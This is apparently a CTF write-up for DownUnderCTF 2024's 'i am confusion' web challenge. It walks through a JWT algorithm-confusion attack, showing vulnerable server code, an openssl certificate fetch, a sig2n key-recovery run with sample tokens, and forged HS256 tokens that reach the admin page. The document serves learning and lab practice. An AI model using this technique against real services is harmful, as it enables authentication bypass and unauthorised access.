siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

i am confusion

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

The evil hex bug has taken over our administrative interface of our application. It seems that the secret we used to protect our authentication was very easy to guess. We need to get it back!

Author: richighimi

https://i-am-confusion.2024.ductf.dev:30001

Enumeration

Index page:

When we go to /, it redirected us to /login.html, which means we need to be authenticated.

However, there’s an unusual note:

I have your application under control Emu. How silly of you to use such an easy hardcoded secret. I have now added support to use a key pair so that only I can control the admin panel. GG. - Love, Hex Bug

Hmm… Looks like someone already compromised the web server?

Anyway, let’s try to login to an account that doesn’t exist for testing:

When we logged in, it’ll redirect us to /public.html. In here, we can read our profile and messages, but it’s empty right now.

Burp Suite HTTP history:

When we clicked the “Login” button, it’ll send a POST request to /login with parameter username and password. Upon successful login, a JWT (JSON Web Token) will be signed and set a new cookie called auth for us.

Why I knew it’s JWT? Well, JWT consists of 3 parts, which are header, payload, and signature. Each of them are separated by a . character. Also, the first 2 parts start with ey, which means it’s base64 encoded { character.

We can decode the JWT and see what it is:

Note: I’m using the Burp Suite extension. You can also base64 decode the first 2 parts.

First, in the header part, the alg claim’s value is RS256, which means the web application uses RSA and SHA256 to sign and verify our JWT.

Then, in the payload part, the user claim’s value is our username.

Note: The reason why the requests were highlighted in color is because of my Burp Suite extension “JSON Web Tokens”.

In /public.html, we can also see that there’s an interesting button called “Switch to Admin”:

Let’s click it!

Hmm… It respond us with an ASCII art and HTTP status code “403 Forbidden”?

Now, let’s read this web application source code and figure out why this is happening.

In this challenge, we can download 2 files, package.json and server.js:

┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2024/web/i-am-confusion)-[2024.07.09|15:23:40(HKT)]
└> file *      
package.json: JSON text data
server.js:    JavaScript source, ASCII text

In server.js, we can find something’s off:

First, in the POST route /login, we can’t login as admin user because of the regular expression check:

const express = require('express')
const app = express()
[...]
app.post('/login', (req,res) => {
  var username = req.body.username
  var password = req.body.password

  if (/^admin$/i.test(username)) {
    res.status(400).send("Username taken");
    return;
  }
  [...]
});

Second, the JWT verification process is weird:

[...]
const jwt = require('jsonwebtoken')
const cookieParser = require('cookie-parser')
var fs = require('fs')
[...]
// algs
const verifyAlg = { algorithms: ['HS256','RS256'] }
const signAlg = { algorithm:'RS256' }

// keys
// change these back once confirmed working
const privateKey = fs.readFileSync('keys/priv.key')
const publicKey = fs.readFileSync('keys/pubkeyrsa.pem')
const certificate = fs.readFileSync('keys/fullchain.pem')
[...]
app.get('/admin.html', (req, res) => {
  var cookie = req.cookies;
  jwt.verify(cookie['auth'], publicKey, verifyAlg, (err, decoded_jwt) => {
    if (err) {
      res.status(403).send("403 -.-");
    } else if (decoded_jwt['user'] == 'admin') {
      res.sendFile(path.join(__dirname, 'admin.html')) // flag!
    } else {
      res.status(403).sendFile(path.join(__dirname, '/public/hehe.html'))
    }
  })
})

In route /admin.html, if our verified JWT payload user claim is admin, we can get the flag.

So, our objective is to somehow forge our JWT payload user claim to be admin.

However, the verify algorithm accepts both RS256 and HS256 (HMAC and SHA256)??

Since the web application didn’t implement both RS256 and HS256 verify algorithm, the application verifies our JWT HS256 algorithm with an empty secret.

Remember, RS256 is an asymmetric algorithm, while HS256 is symmetric algorithm. That being said, RS256 requires a public and private key pair to verify and sign our JWT, HS256 only requires a secret key to verify and sign our JWT.

Hence, this web application is vulnerable to JWT algorithm confusion.

In our case, if the web application receives a token signed using a symmetric algorithm like HS256, the jsonwebtoken library’s verify() method will treat the public key as the secret key. This means that we could sign the token using HS256 and the public key, and the application will use the same public key to verify the signature.

But wait, how can we get the public RSA key?

Luckily, this web application’s SSL certificate’s public and private key pair is same as the JWT signing and verify one!

// keys
// change these back once confirmed working
const privateKey = fs.readFileSync('keys/priv.key')
const publicKey = fs.readFileSync('keys/pubkeyrsa.pem')
const certificate = fs.readFileSync('keys/fullchain.pem')
[...]
const credentials = {key: privateKey, cert: certificate}
const httpsServer = https.createServer(credentials, app)
const PORT = 1337;

httpsServer.listen(PORT, ()=> {
  console.log(`HTTPS Server running on port ${PORT}`);
})

Hence, we can get the certificate via this command:

┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2024/web/i-am-confusion)-[2024.07.09|15:55:55(HKT)]
└> openssl s_client -connect i-am-confusion.2024.ductf.dev:30001 </dev/null 2>/dev/null | openssl x509 -inform pem -text
[...]
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISAy/oVvF2ILJQ+davzA0SCwxIMA0GCSqGSIb3DQEBCwUA
[...]

Exploitation

Moreover, we can get the public RSA key in another way.

To do so, we can mathematically calculates one or more potential values of RSA’s n via a tool called rsa_sign2n.

More conveniently, PortSwigger already prepared a Docker image for us to use this tool:

docker run --rm -it portswigger/sig2n <token1> <token2> 

To use this tool, we’ll first get 2 JWTs. We can do that by just logging in:

┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2024/web/i-am-confusion)-[2024.07.09|16:07:33(HKT)]
└> docker run --rm -it portswigger/sig2n 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYW55dGhpbmciLCJpYXQiOjE3MjA1MTA1MDF9.LBTuIu_R9_WkMOrWxdnbuZ3Zc6jK8ON69KEyOMqL536S-sRaLuRhk4d9H4eLMLGusoRKVkk5q32jXSCX4z7cmVJj3Zr6BXBx4s3M_BHXhQCoVRgZec7-LusiWAx-_o82bZKde45nzKwZJSy_lyCcze0Wyx8hHtQeKqL6DqYJYAjgqCd9_IFmShT1ZORmpn8y0kJ9gt__b2mApiEjuGCDCiDUjZ5mGlAwc2cZpEbfb0Wunk4nSyqJERyguIwZtflXGm8dP8ACYrZTVQwrOGc9CuGS44x8w1QrsZ2eqnHQE7PeTYLWaX8ftGuv25p4QeayAga5qDDwOq0zYFYi2VyOLA' 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYW55dGhpbmcxIiwiaWF0IjoxNzIwNTEyNDM5fQ.ARTbUf03O2BnikymXkO6xo3sd528P7BovAVeDGUYI6t1680PRxY8QROwyIIW6KoQbKLaDLaz7l96CWZMb08rJLBt4HAUtbxbowcwiSgy95cFPuDp7O5KMa2vCmB_AJvSTtn6aORfNzC8PfaBQHqc81Q7ffgLkjrGrzTZsIg2FJ8tOVtLHuzP4eSr5TSPNRcIYsvoAdU21ZRBOwbhbckyxjLOGp157w_IsM2DlzSZ9pKVwQj7ILxKa9D-iFP-mn9-H27_chRF9YVqJUB61UbXG64sBIaUD9aN-Rf2TX1qTpWfQlJ2jtWI-CK1NyMQ8XgHg-RuT6v09QjyKBSV8wylYw'
[...]
Status: Downloaded newer image for portswigger/sig2n:latest
Running command: python3 jwt_forgery.py <token1> <token2>
[...]
Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUd6bDRRRUU4bzNIYlc1T1FCVlJiMQo3aEVKQnBISUpzbHdPR2gySkdialc4bjZRcXBnSFlZcDJnSmNTUTdjRGdBTXE1R2JnV3pDMU02WFBMZnhQQ1EwCm1MU0hNVEhRelVzU0tCVE8vUzlabWFnKzB5Zk1LWWpiUUVBMmQ5NzNMdU5CVkVqaFgvbGpvTFEzR25xSS93bmsKQ3AvQnFCNTdKdGVRQ054SkVUY2o0QzJadkRDZWRXMU45cVFhaGtCUkFCTHNSaTc2bWFRTjAxU25IME1weUIrWQpkZmZlM1QvdkZ6TmZIYVBYR0ZuaFhodU16eHdOaWkvMmxqK0hDNytNL1JtZm5RSmdwUzAycTQ5WVloaTZUM0dqCnhiZUFETmVDcjN4QlQxNkhYZ3FFTk9mQ2pBTTluY1ZobnJoQkx0eU1GU01xdkh3bTVYVVAyY1M2T3BjMXhaMWwKM2dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFueXRoaW5nIiwgImlhdCI6IDE3MjA1MTA1MDEsICJleHAiOiAxNzIwNTk4OTM4fQ.xifQNlbC9wxcDZq3xO1r3L6HojwZzIV3-oQ4IoRNBGo
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFR3psNFFFRThvM0hiVzVPUUJWUmIxN2hFSkJwSElKc2x3T0doMkpHYmpXOG42UXFwZ0hZWXAKMmdKY1NRN2NEZ0FNcTVHYmdXekMxTTZYUExmeFBDUTBtTFNITVRIUXpVc1NLQlRPL1M5Wm1hZysweWZNS1lqYgpRRUEyZDk3M0x1TkJWRWpoWC9sam9MUTNHbnFJL3dua0NwL0JxQjU3SnRlUUNOeEpFVGNqNEMyWnZEQ2VkVzFOCjlxUWFoa0JSQUJMc1JpNzZtYVFOMDFTbkgwTXB5QitZZGZmZTNUL3ZGek5mSGFQWEdGbmhYaHVNenh3TmlpLzIKbGorSEM3K00vUm1mblFKZ3BTMDJxNDlZWWhpNlQzR2p4YmVBRE5lQ3IzeEJUMTZIWGdxRU5PZkNqQU05bmNWaApucmhCTHR5TUZTTXF2SHdtNVhVUDJjUzZPcGMxeFoxbDNnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFueXRoaW5nIiwgImlhdCI6IDE3MjA1MTA1MDEsICJleHAiOiAxNzIwNTk4OTM4fQ.veT_DOtovuoqCQu2TiT-Jn_iYv8S63PEdXzPXxlnmro

Found n with multiplier 2:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRURaeThJQ0NlVWJqdHJjbklBcW90Ngo5d2lFZzBqa0UyUzRIRFE3RWpOeHJlVDlJVlV3RHNNVTdRRXVKSWR1QndBR1Zjak53TFpoYW1kTG5sdjRuaElhClRGcERtSmpvWnFXSkZBcG5mcGVzek5RZmFaUG1GTVJ0b0NBYk8rOTdsM0dncWlSd3IveXgwRm9ialQxRWY0VHkKQlUvZzFBODlrMnZJQkc0a2lKdVI4QmJNM2hoUE9yYW0rMUlOUXlBb2dBbDJJeGQ5VE5JRzZhcFRqNkdVNUEvTQpPdnZ2YnAvM2k1bXZqdEhyakN6d3J3M0daNDRHeFJmN1N4L0RoZC9HZm96UHpvRXdVcGFiVmNlc01ReGRKN2pSCjR0dkFCbXZCVjc0Z3A2OURyd1ZDR25QaFJnR2V6dUt3ejF3Z2wyNUdDcEdWWGo0VGNycUg3T0pkSFV1YTRzNnkKN3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFueXRoaW5nIiwgImlhdCI6IDE3MjA1MTA1MDEsICJleHAiOiAxNzIwNTk4OTM4fQ.2M_lNpUtIBzHwd2uksZxlq3vIVisVMOreoUqQZMPp_8
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFRFp5OElDQ2VVYmp0cmNuSUFxb3Q2OXdpRWcwamtFMlM0SERRN0VqTnhyZVQ5SVZVd0RzTVUKN1FFdUpJZHVCd0FHVmNqTndMWmhhbWRMbmx2NG5oSWFURnBEbUpqb1pxV0pGQXBuZnBlc3pOUWZhWlBtRk1SdApvQ0FiTys5N2wzR2dxaVJ3ci95eDBGb2JqVDFFZjRUeUJVL2cxQTg5azJ2SUJHNGtpSnVSOEJiTTNoaFBPcmFtCisxSU5ReUFvZ0FsMkl4ZDlUTklHNmFwVGo2R1U1QS9NT3Z2dmJwLzNpNW12anRIcmpDendydzNHWjQ0R3hSZjcKU3gvRGhkL0dmb3pQem9Fd1VwYWJWY2VzTVF4ZEo3alI0dHZBQm12QlY3NGdwNjlEcndWQ0duUGhSZ0dlenVLdwp6MXdnbDI1R0NwR1ZYajRUY3JxSDdPSmRIVXVhNHM2eTd3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFueXRoaW5nIiwgImlhdCI6IDE3MjA1MTA1MDEsICJleHAiOiAxNzIwNTk4OTM4fQ.NazB_INkNGm_Ha4eSCTOBHDsFZcQwKXxfaz0TknQDm8
[...]

In the above output, only one of these matches the value of n used by the server’s key. For each potential value, the script outputs:

To identify the correct key, we can use Burp Suite’s Repeater to send a request containing each of the forged JWTs. Only one of these will be accepted by the server. After that, we can use the matching key to construct an algorithm confusion attack.

After trying different forged JWTs, most of them returned HTTP status code “403 Forbidden”, which means the web application occurred an exception during verifing. However, only this one worked:

Found n with multiplier 10:
    [...]
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXJqeWJOTlMzU1Q4VmZVb0FJaHZsWkp0TnM5dGcwSzIrYkFweU50Y1d2R0QvYlJFSm5JMXEKbGMwSk9vRjhaOHpPRVNncEpvcmdTSHNQSDZ2K2hnT2UzQklOaE90aHJpRWJhbWg3R1ZHSTljUUdTRkRIbmNEaQp1YUFGY21NWXQrT0dpRzJ3SXpLSjluaHI2UXhBNWszS0FRLzV4QU1NVUs4b0FPTFVHMUpRWXpmQ2t0R3BjaVNICnk5MDEyam1oc3pVWG9KNU1RcEJueUZWRDZZYTNZTS8xcFdXV1NWTXhnbEh2NlYwdkhBajg3OCtPRkxZQldwNWwKZFd6QXRGLzBmN1hES1UwSnFoNGZFU2Z2UFFKNUIvSERrOFdNemhXTkVZeHM3bFpBdkpxbTBoY3REZ0JTOWkxVwpqOTg1dCtMYXp1bnFySExRc0l1MHlQb1NuM1dGWUkrOVl3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFueXRoaW5nIiwgImlhdCI6IDE3MjA1MTA1MDEsICJleHAiOiAxNzIwNTk4OTM4fQ.Mw6ydq1m7MJfKSh7RzGFbYgg7TGvofehoLcR2nph4e8

As you can see, the web application uses PKCS1 format for the RSA public and private key pair, and the public key n multiplier is 10.

With that said, we can now forge our own JWT!

Once we have the public key in a suitable format, you can modify the JWT however you like. Just make sure that the alg header is set to HS256.

Finally, at the bottom of the tab, click “Sign”, then select the symmetric key that we generated in the previous step:

Nice! We get the flag!

Conclusion

What we’ve learned:

  1. JSON Web Token (JWT) algorithm confusion